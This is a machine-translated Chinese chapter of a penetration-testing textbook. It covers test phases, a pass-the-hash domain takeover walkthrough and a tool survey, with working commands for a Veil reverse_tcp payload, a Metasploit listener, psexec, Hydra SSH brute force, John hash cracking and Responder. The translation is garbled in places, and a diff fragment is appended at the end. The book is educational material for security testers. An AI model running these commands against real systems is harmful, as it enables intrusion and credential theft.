-渗透测试的最大秘密通常不会在电影、杂志和/或书籍中转述,那就是渗透测试主要是研究、研磨和报告编写。如果我必须衡量一名优秀的新评估员在参与评估过程中花费的平均时间百分比,70%将用于研究或研磨,以找到适用的目标或可行的漏洞,15%用于与客户沟通,10%用于编写报告,5%用于利用漏洞。如前所述,随着评估员获得更多经验,这些百分比会发生变化。 - -大多数评估失败或参与度不好的评估人员都是由于推进阶段,而没有执行胜任的研究而导致的。在这里花费所需时间的好处是,与开发相关的下一个阶段将非常迅速。评估人员和恶意参与者都知道的一件事是,一旦组织中的一个立足点被抓住,它基本上就结束了。[第 3 章](03.html "Chapter 3. Identifying Targets with Nmap, Scapy, and Python")*使用 Nmap、Scapy 和 Python*识别目标,详细介绍了本阶段完成的活动。 - -## 剥削 - -第五阶段是开发阶段,这就是乐趣真正开始的地方。大部分章节都集中于前一阶段的脆弱性分析,即本阶段。在此阶段,所有之前的工作都会导致实际访问系统。获取系统访问权限的常用术语是弹出、炮击、破解或利用。当您听到或阅读这些术语时,您知道您应该能够访问系统。 - -利用漏洞不仅仅意味着通过一段代码访问系统、远程利用漏洞、创建利用漏洞或绕过防病毒。它可以像使用默认或弱凭据直接登录系统一样简单。尽管许多较新的评估师认为这不太可取,但经验丰富的评估师尝试找到通过本机协议和访问访问主机的方法。这是因为本机访问不太可能被检测到,而且更接近恶意参与者可能执行的真实活动。 - -如果您是渗透测试新手,在开发过程中会有一些特定的时间让您非常兴奋,这些时间通常被视为目标: - -* 当你第一次获得一枚炮弹时 -* 首次利用 OWASP 前 10 个漏洞进行攻击时 -* 第一次编写自己的漏洞时 -* 你第一次发现零日 - -这些所谓的目标通常是评估者之间,甚至是组织团队内部经验的衡量标准。在您实现这些首次开发目标后,您将希望将您的技能扩展到更高的水平。 - -一旦您获得了对系统的访问权,您就需要对该访问权进行一些操作。当考察经验丰富的专业人士和该领域新评估师之间的差异时,划分不是剥削,而是剥削后。这是因为初始访问并不能让您访问数据,但后续访问、透视和后期开发通常可以。 - -### 注 - -支点是在评估期间利用新职位评估通常无法获得的资源的方法。大多数人将旋转等同于在 Metasploit 中设置路由,但它也与攻击或评估来自不同受损设备的资源有关。 - -## 后期开发 - -在所有阶段中,这是您看到评估员花费的时间发生变化的地方。新的评估人员通常在第四阶段或脆弱性分析阶段花费更多的时间,而经验丰富的评估人员在这方面花费了大量的时间。第六阶段也称为开采后阶段;特权升级、凭证搜索、数据提取和数据透视都在这里完成。 - -在此情况下,评估员有机会通过证明达到的访问级别、访问的关键数据的数量和类型以及绕过的安全控制来证明组织面临的风险。所有这些都是开发后阶段的典型特征。 - -与第五阶段一样,第六阶段也有一些特定的事件,这些事件通常是新评估人员的目标。就像开发目标一样,一旦这些开发后目标完成,您将在这个安全专业化方面取得更复杂的成就。 - -以下是新评估员和合格评估员之间的测量棒示例: - -* 第一次手动提升 Windows、Linux、Unix 或 Mac 操作系统上的权限时 -* 第一次获得域管理员访问权限时 -* 第一次修改或生成 Metasploit 模块时 - -开发后阶段包括与升级权限、提取数据、分析、创建持久性、解析用户数据和配置以及清理相关的活动。在系统被访问并过渡到系统检查后执行的所有活动都与利用后相关。一旦交战结束,所有达到的访问级别、访问的关键数据和绕过的安全控制都会在一份文件中突出显示,即报告。 - -## 报告 - -与渗透测试(不仅仅是 PTE)相关的最重要阶段是报告。一天结束时,您的客户要求并支付报告费用。订婚结束时,他/她手中唯一能拿的就是这份报告。该报告也是评估员在环境中识别的风险的转化。 - -一份好的报告有一个执行摘要,目标是首席套房和/或咨询委员会的成员。它还应包含一个故事情节,以解释在参与过程中所做的事情、实际的安全发现或弱点,以及组织已建立的积极控制。如有可能,每个注意到的安全发现应包括概念证明。 - -概念证明就是这样;您正在通过利用来证明安全状态存在异常。因此,每个确定的发现都应该包括与所执行活动相关的屏幕截图,例如弱密码、被利用的系统和访问的关键数据。 - -就像组织中确定的安全调查结果一样,任何积极的调查结果都需要记录和描述。积极的调查结果有助于告诉组织什么实际影响了模拟的恶意参与者。它还告诉一个组织它应该把投资放在哪里,因为报告和约定提供了它工作的具体证据。 - -## 一个例子 - -下一节将重点介绍评估员如何实现访问、提升权限,并可能获得对高级别关键数据的访问。本示例应提供本章其余部分和以下章节中所述工具的上下文。应注意的是,PTE 的第四、五和六阶段或脆弱性分析、开发和开发后阶段是重复的。这些阶段中的每一个都将在整个评估过程中执行。为了更好地强调这一点,下面的场景是今天由较新的评估人员执行的一个非常常见的利用培训,它显示了使用的工具。这并不是要展示如何自己完成这些命令,而是要突出显示阶段流,每个阶段使用的工具可能不明确。 - -在进行评估时,评估员将识别漏洞,根据需要对其进行攻击,然后在攻击后或攻击后升级权限并提取数据。有时,单个行动可能被视为脆弱性分析和利用,或利用和利用后阶段活动的组合。作为重复步骤的一个示例,在评估员识别 Windows XP 主机并确定其是否存在漏洞 MS08-067 后,评估员使用名为`ms08_067`的关联 Metasploit 模块对其进行攻击。评估员将升级权限,然后使用`smart_hashdump` 模块从被利用的系统中提取哈希值。然后,评估员将从提取的哈希中复制本地管理员哈希,该哈希与以`pwdump`哈希格式存储的 500 的**安全标识符**(**SID**相关。 - -评估员将扫描该区域内的所有主机,并使用`nmap` 工具确定主机端口 445 是否打开。这些可能是**通过哈希**(**PtH**攻击的可行目标,但评估员必须确定这些主机是否具有相同的本地管理员密码。因此,评估员通过使用 Unix/Linux 工具 cat、grep 和 cut 解析输出,通过 IP 创建具有开放端口 445**服务器消息块**(**SMB**)的 IP 地址列表。使用此列表,评估员对新创建列表中的所有主机执行 SMB 登录,使用`smb_login`Metasploit 模块,本地管理员哈希,域设置为`WORKGROUP`。 - -每个成功登录的主机都将成为 PtH 攻击的可行目标。评估员必须找到一位拥有新信息或关键数据的主持人,这些信息或数据将有助于进一步开展业务。由于评估员通过 Windows XP 框在网络上站稳了脚跟,他/她只需要知道域管理员是谁以及他们在哪里登录。 - -因此,他/她将从 Windows XP 主机通过`enum_domain_group_users` Metasploit 模块连接到的域中查询域管理员组的成员。然后,评估员可以识别域管理员使用名为`loggedin_users`的社区 Metasploit 模块或名为`psexec_loggedin_users or enum_domain_users`的内置模块登录的位置。通过`smb_login`模块的成功登录消息进行响应的主机将使用任一模块和相关域名进行测试。使用其中一个域管理员的用户名进行响应的主机将是利用该漏洞的最佳位置。然后,评估员可以执行 PtH 攻击,并使用`psexec` Metasploit 模块将有效载荷投放到箱子上。这将在相同的本地管理员哈希和域设置为`WORKGROUP`的情况下完成。 - -一旦在该系统上建立了立足点,评估员可以确定域管理员当前是否登录到该系统,或者过去是否登录过该系统。评估员可以查询系统并识别当前登录的用户,以及他们是否处于活动状态。如果用户当前在会话中处于活动状态,评估员可以使用 Metasploit 设置键盘记录器,并使用 smartlocker 模块锁定屏幕。在过去,它被分解成多个模块,但今天,我们是高效的。当用户解锁屏幕时,他/她将输入帐户的凭据,然后将其提供给评估员。 - -如果用户当前未处于活动状态,评估员可以尝试使用 Mimikatz 等工具从内存中提取凭据,方法是使用`load mimikatz`将该功能加载到 MeterMeter 会话并运行`wdigest`。如果内存中没有凭据,评估员可以尝试通过使用`load incognito` 命令将 Incognito 工具加载到 MeterMeter 中,窃取内存中缓存凭据的令牌来模拟用户。使用此访问,评估员可以在域上创建一个新用户,然后将该用户添加到域控制器上的域管理员组。为了确定适用的域控制器,评估员将 ping 域名,该域名将以 DC 的 IP 响应。 - -最后,评估员可以使用`add_user`命令创建他/她的新恶意用户,并将`add_group_user`发送给指向具有`-h`标志的 DC IP 的域管理员组。此域管理员可以提供网络周围的其他访问权限,或者可以根据需要使用相关访问权限创建和/或修改其他帐户。正如您在这些步骤中所看到的,有多个重复的三个阶段的示例。浏览以下列表,了解每个活动如何应用于特定阶段: - -1. 识别 Windows XP 主机(漏洞分析)。 -2. 确定 Windows XP 主机是否易受 MS08-067 攻击(漏洞分析)。 -3. 利用 Metasploit 的 MS08-067 漏洞攻击 Windows XP 主机(利用)。 -4. 从 Windows XP 主机提取哈希(攻击后)。 -5. 通过 IP 或端口 445 扫描所有其他主机的 SMB(漏洞分析)。 -6. 使用本地管理员哈希执行 SMB 登录以识别易受攻击的主机(漏洞分析/利用)。 -7. 在 Windows XP 系统上为域管理员组的成员查询域控制器(攻击后)。 -8. 识别与 Windows XP 框具有相同本地管理员哈希的系统上的登录用户,以识别域管理员登录的位置(利用漏洞/利用后)。 -9. 对具有已登录域管理员的系统执行 PtH 攻击(利用此漏洞)。 -10. 确定域管理员在盒子上的活动状态(攻击后): - - * 如果当前已登录,请设置一个按键记录程序(攻击后) - * 锁定屏幕(攻击后) - * 如果凭据在内存中,请使用 Mimikatz 进行窃取,这是我们在下面强调的一个工具(后利用) - * 如果令牌位于缓存会话的内存中,则使用匿名方式窃取它们(后利用) - -11. 通过 ping 域识别域控制器(漏洞分析)。 -12. 从受损系统在域控制器上创建新用户(攻击后)。 -13. 将新用户从受损系统添加到域管理员组(攻击后)。 -14. 确定可访问的关键数据的新位置(漏洞分析)。 - -现在,经验丰富的评估人员通常会完成与脆弱性分析相关的必要活动,并尽早对数据进行编目。因此,创建端口 445 打开的主机列表、DC IP 地址和其他详细信息将在评估的早期完成。通过这种方式,如果参与是双盲评估的一部分,评估员可以在被抓到之前快速行动以获得特权访问权。既然已经制定了评估的方法和组织,我们需要看看目前使用了哪些工具。 - -# 渗透测试工具 - -以下是在交战期间使用的一些最常见的工具,并举例说明如何以及何时使用这些工具。在[第 2 章](02.html "Chapter 2. The Basics of Python Scripting")、*Python 脚本基础知识*之后,我们将进一步解释其中的许多工具,并提供其他示例。我们不可能损坏市场上的每一种工具,也不能对它们何时使用的具体情况进行描述,但这里有足够的例子来提供坚实的知识基础。在本模块中,可能需要多行代码来显示超长的命令示例。这些命令将使用*\*字符来指定新行。如果复制并粘贴这些命令,它们将正常工作,因为在 Linux 和 Unix 中,命令在回车后继续执行。 - -这些都是根据你最有可能从中得到最大利用的东西来组织的。在查看这些工具之后,您将了解市场上的情况,并看到可能需要定制 Python 脚本或工具的潜在差距。通常,这些脚本只是桥接代理,以正确的格式解析和输出所需的详细信息。其他时候,他们会将繁琐而费力的过程自动化;在阅读之前,请记住这些因素。 - -## NMAP - -**网络映射器**(**Nmap**是为管理员和安全专业人员创建的首批工具之一。它提供了业界最好的一些功能,可以快速分析目标并确定它们是否具有可利用的开放端口和服务。作为安全专业人员,该工具不仅为我们提供了与 Luna 脚本相关的附加功能,可以充当小型虚拟机,还提供了利用系统进行攻击的手段。 - -似乎所有这些都不足以使 Nmap 成为评估员和工程师工具包、Nmap 安全扫描项目和[的主要工具 http://insecure.org/](http://insecure.org/) 已经为每天需要在[进行几次测试扫描的人建立了一个网站 http://scanme.nmap.org/](http://scanme.nmap.org/) 。除了让新的评估人员有机会每天执行几次扫描之外,该网站还可以查看组织内部可以访问哪些端口。如果您想自己测试一下,请针对站点尝试标准的完整连接**传输控制协议**(**TCP**端口扫描。与 Nmap 相关的其他细节将在[第 3 章](03.html "Chapter 3. Identifying Targets with Nmap, Scapy, and Python")*中讨论,用 Nmap、Scapy 和 Python*识别目标。以下示例显示了如何针对 Internet 上打开的前 10 个端口进行扫描(请在执行此扫描之前阅读其网站上的建议): - -``` -nmap –sT –vvv --top-ports 10 –oA scan_results scanme.nmap.org - -``` - -## 变质岩 - -2003 年,H.D.Moore 创建了著名的 Metasploit 项目,最初是用 Perl 编写的。到 2007 年,框架完全用 Ruby 重新编码;到 2009 年 10 月,他把它卖给了 Nexpose 的创建者 Rapid7。许多年后由于 H.D.Moore 的销售规定,框架仍然是免费提供的产品。通过该框架,Rapid7 创建了一个专业产品,恰当地称为 Metasploit Pro。 - -Pro 解决方案具有许多框架没有的功能,例如集成到 Nexpose、原生**入侵防御系统**(**IPS**)绕过有效负载、web**图形用户界面**(**GUI**)和多用户功能。这些额外功能的价格很高,但根据您的市场,有些客户需要支付所有工具的费用,因此请记住专业版。如果您不需要为 Metasploit 付费,并且不需要其他特性,那么该框架就足够了。 - -请记住,Metasploit Pro 中的 IPS 旁路工具内置了许多不同的规避方法。其中一个特点是每次攻击代码的结构都略有不同。因此,如果 IPS 旁路一次失败,它可能会在同一主机上再次运行,只需重新运行它。这并不意味着如果你运行了 10 次,如果前 9 次失败,你将在第 10 次得到正确的结果。因此,请注意并了解与`psexec`相关的错误消息以及系统的开发。 - -如果需要,可以从 Metasploit 运行整个评估;这不是建议的,但该工具正是如此强大。Metasploit 是模块化的;事实上,Metasploit 中的组件称为模块。模块分为以下几类: - -* 辅助模块 -* 利用模块 -* Post 模块 -* 有效载荷模块 -* NOP 模块 -* 编码器模块 - -辅助模块包括扫描仪、暴力工具、漏洞评估工具和服务器模拟器。漏洞利用就是可以运行来利用接口服务或其他解决方案的工具。Post 模块用于提升权限、提取数据或与系统上的当前用户交互。有效载荷提供了一种封装的交付工具,一旦获得对系统的访问,就可以使用该工具。配置漏洞利用模块时,通常必须配置有效负载模块,以便返回 shell。 - -**无操作**(**NOP**模块生成对特定硬件架构不做任何操作的操作。这些在创建或修改漏洞利用时非常有用。Metasploit 中的最后一种模块类型是编码器模块。对于编码器以及它们的用途存在着巨大的误解。实际情况是,它们用于通过更改有效负载的结构来删除某些类型的字符,从而使有效负载的执行更加可靠。这将重新格式化原始有效载荷的操作代码,使有效载荷更大,有时甚至更大。 - -偶尔,有效负载结构的这种变化意味着它将绕过严格依赖于特定签名的 IP。这导致许多评估人员相信编码是用于绕过防病毒的;这只是编码的副产品,而不是目的。如今,编码很少绕过企业级 IPS 解决方案。其他产品,如面纱,提供了一个更合适的解决方案,这个泥潭。由于大多数漏洞利用都可以引用外部有效负载,因此即使您使用的是 Metasploit 的 Pro 版本,也最好使用像 Veil 这样的外部解决方案。有时 Metasploit Pro 的 IPS 旁路功能将不起作用;在此期间,可能需要其他工具。Metasploit 将在本模块的其他章节中详细介绍。 - -## 面纱 - -此防病毒规避套件具有多种生成有效负载的方法。这些有效负载类型利用了经验丰富的评估人员和恶意参与者多年来手动使用的方法。该包括使用**高级加密标准**(**AES**对有效载荷进行加密、编码和随机变量名。然后,可以将这些细节包装在 PowerShell 或 Python 脚本中,以使生活更加轻松。 - -VIEL 可以通过**命令行界面**(**CLI**)或类似于 Metasploit 的控制台启动。例如,以下命令显示了创建 PyInjector 漏洞的 CLI 的用法,该漏洞可拨回端口 80 上的侦听主机;如果您希望测试此项,请确保将“您的 IP”替换为您的实际 IP。 - -``` -./Veil.py -l python -p AESVirtualAlloc -o \ -python_payload --msfpayload \ -windows/Meterpreter/reverse_tcp --msfoptions \ -LHOST=yourIP LPORT=80 - -``` - -现在,继续启动 Metasploit 控制台,并使用以下命令启动侦听器。这将启动控制台;确保等待它启动。此外,它在您的主机上设置了一个侦听器,因此请确保用实际的 IP 地址替换“yourIP”。侦听器将在后台运行,等待返回的会话。 - -``` -msfconsole -use exploit/multi/handler -set payload windows/meterpreter/reverse_tcp -set lport 80 -set lhost yourIP -exploit -j - -``` - -将有效负载移到目标 Windows 系统并运行有效负载。只要没有配置问题,侦听主机的端口 80 上没有运行其他服务,并且没有任何东西阻止受攻击主机和侦听器之间到端口 80 的连接,您就应该看到在 Kali 主机上生成的会话。 - -那么,如果您有这些定制的漏洞利用,那么如何将它们用于真正的 Metasploit 漏洞利用呢?很简单,只需调整变量以指向它们。下面是一个使用 Metasploit 中的`psexec`模块的示例。确保将 targetIP 更改为目标 Windows 系统。设置系统本地管理员的用户名和系统本地管理员的密码。最后,将自定义的`EXE`路径设置为您的`python_paload.exe`和,您应该会看到在侦听器上生成的 shell。 - -``` -use exploit/windows/smb/psexec -set rhost targetIP -set SMBUser username -set password password -set EXE::Custom /path/to/your/python_payload.exe -exploit -j - -``` - -## 打嗝套装 - -Burp Suite 是透明代理的标准,或者是用于直接交互和处理从浏览器发送到浏览器的 web 流量流的工具。该工具有一个 pro 版本,它添加了一个体面的 web 漏洞扫描器。使用时应小心,因为它可能会导致论坛、电子邮件和交互的多次提交。 - -同样的道理也可以用它的 Spider 工具来解释,它与范围广泛的 web 应用程序进行交互,并将它们映射为类似于 Google 和 Bing 这样的网络爬虫。确保当您使用这些工具时,您首先禁用自动提交和登录,直到您更好地理解应用程序。更多关于 Burp 和类似 web 工具的信息将在[第 6 章](06.html "Chapter 6. Assessing Web Applications with Python")*使用 Python 评估 web 应用程序*中介绍。其他类似工具包括**Zed 攻击代理**(**ZAP**),该工具现在还包含名为 DirBuster 的未链接文件夹和文件研究工具。 - -## 九头蛇 - -Hydra 是一种服务或接口字典攻击工具,可以识别可能提供访问的可行凭证。Hydra 是多线程的,这意味着它可以通过串联的多个猜测来评估服务,从而大大加快了攻击和产生的噪音。例如,以下命令可用于攻击 IP 地址为`192.168.1.10`的主机上的**安全外壳****SSH**服务: - -``` -hydra -L logins.txt -P passwords.txt -f -V 192.168.1.10 ssh - -``` - -此命令使用用户名列表和密码列表,在第一次成功时退出,并显示尝试的每个登录组合。如果您只想测试一个用户名和密码,那么命令将分别更改为使用小写字母`l`和`p`。相应的命令如下: - -``` -hydra -l root -p root -f -V 192.168.1.10 ssh - -``` - -Hydra 还能够对服务和网站的身份验证接口进行暴力攻击。行业中还有许多其他工具具有类似的功能,但大多数评估人员使用 Hydra,因为它具有广泛的功能和协议支持。有时 Hydra 不符合要求,但通常其他工具也不能满足需要。发生这种情况时,我们应该考虑创建 Python 脚本。有关凭证攻击的其他详细信息,请参见[第 4 章](04.html "Chapter 4. Executing Credential Attacks with Python")*使用 Python*执行凭证攻击。 - -## 开膛手约翰 - -**开膛手约翰**(**JtR**)或大多数人称之为约翰的开膛手约翰是市场上最好的饼干之一,可以攻击盐和非盐的哈希。John 最大的好处之一是它可以与大多数散列一起使用。John 能够从标准输出和文件格式中识别哈希类型。如果通过只提供散列文件而不提供参数的方式在本地运行,John 将尝试使用其标准方法破解散列。这首先是在单裂纹模式下尝试的,然后是单词列表模式,最后是增量模式。 - -### 注 - -salt 是经过编码以产生相对随机字符的**伪随机数生成器**(**PRNG**的输出。salt 被注入到对密码进行散列的过程中,这意味着每次对密码进行散列时,都会以不同的格式进行。然后,salt 与散列一起存储,以便在身份验证期间输入的凭据的比较算法能够发挥作用,因为输入凭据需要具有相同的 salt 才能生成相同的散列。这为哈希算法增加了额外的熵,从而提供了额外的安全性并减轻了大多数彩虹表攻击。 - -单个破解攻击从散列文件中获取信息,篡改明文,然后将详细信息与其他一些规则集一起用作密码。单词列表模式就是这样;它使用默认的单词列表。最后,在蛮力格式攻击中,增量模式贯穿每个角色的可能性。如果您确实需要相对增量或暴力模式攻击,最好使用运行 oclHashcat 的独立破解服务器。 - -### 注 - -密码破解程序采用以下两种方法之一:获取测试密码并实时对其进行散列,或者获取预计算的散列并将其与测试散列进行比较。实时散列攻击允许评估员破解在原始散列过程中加盐或未加盐的密码。预计算哈希攻击的优点是速度快得多,但除非在预计算期间知道 salt,否则它们无法抵抗 salt 密码。预计算攻击使用称为彩虹表的链表。实时密码攻击使用字典或单词列表,这些字典或单词列表可能会在每个字符位置使用不同的字符集进行实时变异或递增。这分别描述字典攻击和暴力攻击。 - -以下是针对`hash`文件运行`John`的示例,如果`hashfile`位于`John`文件夹中,则从该文件夹中运行`John`。 - -``` -./john hashfile - -``` - -要针对`hashfile`在单一模式下运行`John`,请运行以下命令: - -``` -./john --single hashfile - -``` - -要像运行单词列表一样运行`John`,请使用以下命令: - -``` -./john --wordlist=password_list hashfile - -``` - -您可以通过同时运行规则以本机方式排列和替换字符。 - -``` -./john --wordlist=password_list --rules hashfile - -``` - -John 真正的能力来自于能够在大多数系统的约定中使用,具有强大的排列规则,并且非常用户友好。John 擅长破解大多数标准操作系统密码哈希。它还可以以一种易于与用户名和原始哈希匹配的格式轻松地表示细节。 - -### 注 - -与 John 相比,oclHashcat 不具备以简单格式将破解细节与原始数据匹配的原生能力。这使得提供与唯一散列相关的密码破解统计信息变得更加困难。当所提供的散列可以从多个来源提取并绑定到同一个帐户,因为它们可以用不同的盐进行调整时,这一点尤其正确。请记住这一点,因为大多数组织都希望在最终报告中包含破解统计数据。 - -以下命令演示如何使用 John 显示密码破解结果: - -``` -./john --show hashfile - -``` - -John 的独特功能之一是能够从单词列表生成置换密码,这有助于构建可靠的破解列表,尤其是与 Cewl 一起使用时。下面是一个示例,说明如何使用 John 创建一个仅包含唯一单词的置换密码列表: - -``` -./john --wordlist=my_words --rules --stdout | unique my_words_new - -``` - -### 与 John 破解 Windows 密码 - -使用 John 的最大好处是破解以**局域网**(**局域网**)管理器(MAN)或(LM)格式散列的密码。LM 散列是一种弱散列形式,可以存储长达 14 个字符的密码。密码分为两个部分,每个部分的长度最多为七个字符,且为大写格式。在破解这种类型的散列时,必须破解已有的 LM 散列,以便在适当的情况下将大写密码的两个组成部分转换为单个密码。 - -我们通过破解 LM 散列,然后使用破解后的密码,并通过 John 将其作为启用了排列规则的单词列表来运行。这意味着密码将被用作以不同格式攻击**新技术 LM**(**NTLM**)散列的单词。这使得 NTLM 散列的破解速度大大加快,而 NTLM 散列的破解能力要强得多。这个可以通过一个名为`LM2NTCRACK`的 Perl 脚本相对自动地完成,但您也可以通过 John 手动完成,并取得了巨大的成功。 - -您可以使用您喜欢的密码从网站(如[中)创建测试哈希 http://www.tobtu.com/lmntlm.php](http://www.tobtu.com/lmntlm.php) 。我从 test 的密码生成了一个 pwdump 格式,并将用户名改为 Administrator。 - -``` -Administrator:500:01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805F797BF2A82807973B89537::: - -``` - -确保将复制的密码作为一行使用,并将其放入文件中。以下命令是基于`hash`文件名为`hashfile`并已放置在运行测试的`John`目录中的思想而设计的。 - -``` -./john --format=lm hashfile - -``` - -一旦密码被破解,您可以直接从输出中复制密码,并将其放入名为`my_wordlist`的新文件中。您还可以使用已演示的命令显示破解哈希中的密码。将密码放入文件的一种简单方法是将`echo`重定向到文件中。 - -``` -echo TEST > my_wordlist - -``` - -现在,使用此单词列表执行字典攻击,并对输入数据运行规则来排列单词。这将允许您找到正确大小写的密码。 - -``` -./john -rules --format=nt --wordlist=my_wordlist hashfile - -``` - -下面的屏幕截图突出显示了使用前面描述的技术破解此哈希: - -![Cracking Windows passwords with John](graphics/B04315_01_01.jpg) - -## 奥勒哈什卡特 - -如果您有一个专用的密码破解工具或一个带有强大的**图形处理单元**(**GPU**)的系统,oclHashcat 是一个不错的选择。该工具可以快速破解密码散列,利用疯狂的处理能力,提供给合适的受众。需要记住的一件大事是,oclHashcat 不像开膛手约翰那样简单直观,但它具有强大的蛮力能力。该工具能够配置通配符,这意味着破解密码的动态机制可能非常具体。 - -### 提示 - -支持无 GPU 破解的 oclHashcat 版本称为 Hashcat。这个破解工具在密码破解方面很快就超过了 John,但使用起来需要更多的研究和培训。当你获得经验时,你应该使用 Hashcat 或 oclHashcat 进行破解。 - -## 裂纹 - -这个工具是最著名的引导盘攻击工具,但它也可以作为独立的彩虹破解工具使用。Ophcrack 可以直接刻录到可引导的**通用串行总线**(**USB**)驱动器或**光盘**(**CD**)。当将放置在没有**全磁盘加密**(**FDE**的 Windows 系统中时,该工具将从操作系统中提取哈希值。这是通过引导到 LiveOS 或在内存中运行的 OS 来实现的。该工具将尝试用基本的表来破解散列。大多数情况下,这些表都会失败,但哈希本身可以通过 SSH 安全地从主机复制到攻击框中。然后可以使用 John 或 oclHashcat 等工具脱机破解这些散列。 - -## 咪咪卡茨和隐姓埋名 - -这些工具都可以在 MeterMeter 会话中本机工作,并且每个工具都提供了在 Windows 主机上交互和利用会话的方法。Incognito 允许评估员通过模拟用户缓存的凭证与内存中的令牌交互。Mimikatz 允许评估员直接提取存储在内存中的凭证,这意味着用户名和密码直接公开。Mimikatz 还有另外一种能力,可以针对 sysdump 等工具离线产生的内存转储运行。 - -### 提示 - -Mimikatz 有许多版本,MeterMeter 中的一个版本就是我们在本模块中介绍的示例。 - -## SMBexec - -这个工具是用 Ruby 开发的一套工具,它结合使用 PtH 攻击、Mimikatz 和散列转储来利用网络。SMBexec 使接管网络变得非常容易,因为它提供了一个控制台接口,只需要初始哈希、用户名或凭据对以及网络范围。该工具将自动尝试访问资源、提取内存中任何凭据的详细信息、缓存的详细信息和存储的哈希。SMBexec 的缺点是 Ruby Gem 的不一致性会导致该工具易变,并会导致其他工具(如 Metasploit)甚至整个 Kali 实例崩溃。如果要使用 SMBexec,请始终创建一个单独的 VM,并具有运行此工具的特定目标。 - -## Cewl - -Cewl 是一个 web 爬网工具,它解析站点中的单词,唯一地标识它们的实例,并将它们输出到文件中。在开发定制的目标密码列表时,Cewl 等工具非常有用。Cewl 有许多功能,包括针对细节的定向搜索,以及对工具挖掘深度的限制。Cewl 是基于 Ruby 的,通常与 SMBexec 和其他 Ruby 产品使用 Gems 时遇到的问题相同。 - -## 响应者 - -响应者是一个 Python 脚本,它通过**Web 代理自动发现**(**WPAD**的错误配置,为评估者提供将代理请求重定向到攻击者系统的能力。它还可以接收网络 NTLM 或 NTLMv2 质询响应哈希。这是通过利用本机启用的**本地链路多播名称请求****LLMNR**和**网络基本输入输出系统****NetBIOS****名称服务****NB-NS**实现的。 - -应答器的使用非常简单;用户所要做的就是在与其目标相同的广播域内的网络上。执行以下命令将在用户的 Internet Explorer 会话中创建一个弹出窗口。它将请求他/她的域凭据以允许他/她继续前进;此攻击还意味着针对 LLMNR 和 NB-NS 请求的攻击将提供受 NTLMv2 保护的哈希。确保您将“您的 IP”与实际 IP 地址交换。 - -``` -python Responder.py -I yourIP -w -r -f -v -F - -``` - -您还可以强制 web 会话返回基本身份验证,而不是 NTLM 响应。当 WPAD 看起来已经在环境中得到缓解时,这非常有用。这意味着您通常会收到针对 LLMNR 和 NB-NS 请求的攻击产生的 NTLMv2 质询响应哈希。 - -``` -python Responder.py -I yourIP -r -f -v -b - -``` - -响应者攻击已成为大多数内部评估的主要内容。WPAD、LLMNR 和 NB-NS 在大多数环境中都是严重的错误配置,应尽可能进行评估。这些漏洞通常由评估人员和恶意参与者操纵。 - -## 收割机和侦察机 - -这些工具特别侧重于识别与**开源情报**(**OSIT**收集相关的数据。theHarvester 工具是基于 Python 的,在从搜索引擎和社交媒体中查找细节方面做得很好,但 Recon NG 是领域的新手。Recon NG 是一个基于控制台的框架,也是用 Python 创建的,它可以查询许多信息存储库。这种扩展的能力意味着侦察通常是评估人员现在使用的第一个工具。Recon NG 没有更换收割机,但收割机通常不使用,除非 Recon NG 没有找到足够的细节。 - -## pwdump 和 fgdump - -与大多数工具(如 Mimikatz)相比,这些工具是旧的,但它们在行业中是众所周知的,许多密码破解工具都基于其输出格式。事实上,Metasploit 的`hashdump`和`smart_hashdump`输出系统散列,即所谓的`pwdump`格式。这些散列可以直接从放置在文件中的会话中提取,并使用前面提供的本机命令示例在`John`中运行。 - -## 网猫 - -Netcat 或网络连接,也称为`nc`,是最古老的评估和管理工具之一。它通过提供 IP 地址、端口和协议直接与端口和服务交互。它还可以在主机之间传输文件和建立会话。由于该工具的所有功能,它通常被称为数字瑞士军刀,供评估员和管理员使用。 - -### 提示 - -SANS Institute 为 netcat 提供了一份精彩的备忘单,其中突出了其大部分功能,可在以下 URL 上找到: - -[http://pen-testing.sans.org/retrieve/netcat-cheat-sheet.pdf](http://pen-testing.sans.org/retrieve/netcat-cheat-sheet.pdf) - -## 系统内部工具 - -此工具套件最初由德克萨斯州奥斯汀的 Wininternals Software LP 开发。这些工具为管理员和其他专业人员提供了在大型域中处理、维护和控制 Windows 系统的能力。这些工具提供的功能不是本机内置在 Windows 中的;微软认识到了这一点,并于 2006 年收购了该公司。这些工具是免费的,并向公众开放,应该注意的是,许多黑客工具都是基于这个套件中最初创建的概念构建的。 - -此套件中使用的一些工具示例包括`procdump`转储内存和提取凭证。`psexec`工具执行 PtH 或执行远程进程执行以与远程主机建立会话,并提供与`pskill`或`pslist`的进程交互和列表功能。应该注意的是,这些工具是由管理员使用的,通常是白名单。因此,尽管许多黑客工具被 IP 阻止,但通常情况下并非如此。因此,当所有其他功能都失败时,请始终像恶意管理员一样思考,因为利用这些功能是大多数恶意参与者所做工作的关键。 - -# 总结 - -本章重点讨论和定义渗透测试以及为什么需要渗透测试。在此定义的基础上,描述了 PTES 框架,该框架为新的评估员提供了在实际参与情况下构建其知识的方法。为了验证这一知识,我们探索了一个示例参与是如何在主要执行阶段发生的。最后,列出并解释了各种评估中使用的主要工具,其中许多工具将在以下章节中用实际例子进一步解释。现在,您已经了解了渗透测试及其方法,我们将开始学习 Python 的功能有多强大,以及启动和运行 Python 有多容易。 \ No newline at end of file diff --git a/trans/py-pentest-dev/02.md b/trans/py-pentest-dev/02.md deleted file mode 100644 index 99ca77a..0000000 --- a/trans/py-pentest-dev/02.md +++ /dev/null @@ -1,1033 +0,0 @@ -# 第 2 章 Python 脚本的基础知识 - -在开始编写第一个 Python 脚本之前,应该了解一些概念。现在学习这些项目将帮助您在将来更快地开发代码。这将提高您作为渗透测试人员的能力,或了解评估人员在创建实时自定义代码时正在做什么,以及您应该问什么问题。您还应该了解如何创建脚本以及您试图实现的目标。你经常会发现你的脚本会随着时间的推移而变形,目的可能会改变。这可能是因为您意识到对脚本的真正需求可能并不存在,或者存在用于特定功能的现有工具。 - -许多脚本编写者发现这令人沮丧,因为他们可能已经从事了很多时间的项目,您可能会发现该工具与更高级的工具有重复的功能。不要将此视为失败的项目,而应将此活动视为一次体验,在体验中,您学到了最初不知道的新概念和技术。此外,在开发将来可用于其他项目的代码片段时,请始终牢记这一点。 - -为此,请尝试干净地构建代码,用您正在做的事情对其进行注释,并将其模块化,以便在学习如何构建函数后,将来可以将它们剪切并粘贴到其他脚本中。本课程的第一步是从较高的层次描述计算机科学术语表,以便您能够理解未来的章节或其他教程。如果不理解这些基本概念,您可能会误解如何实现预期结果。 - -### 注 - -在运行本模块中的任何脚本之前,我建议您在 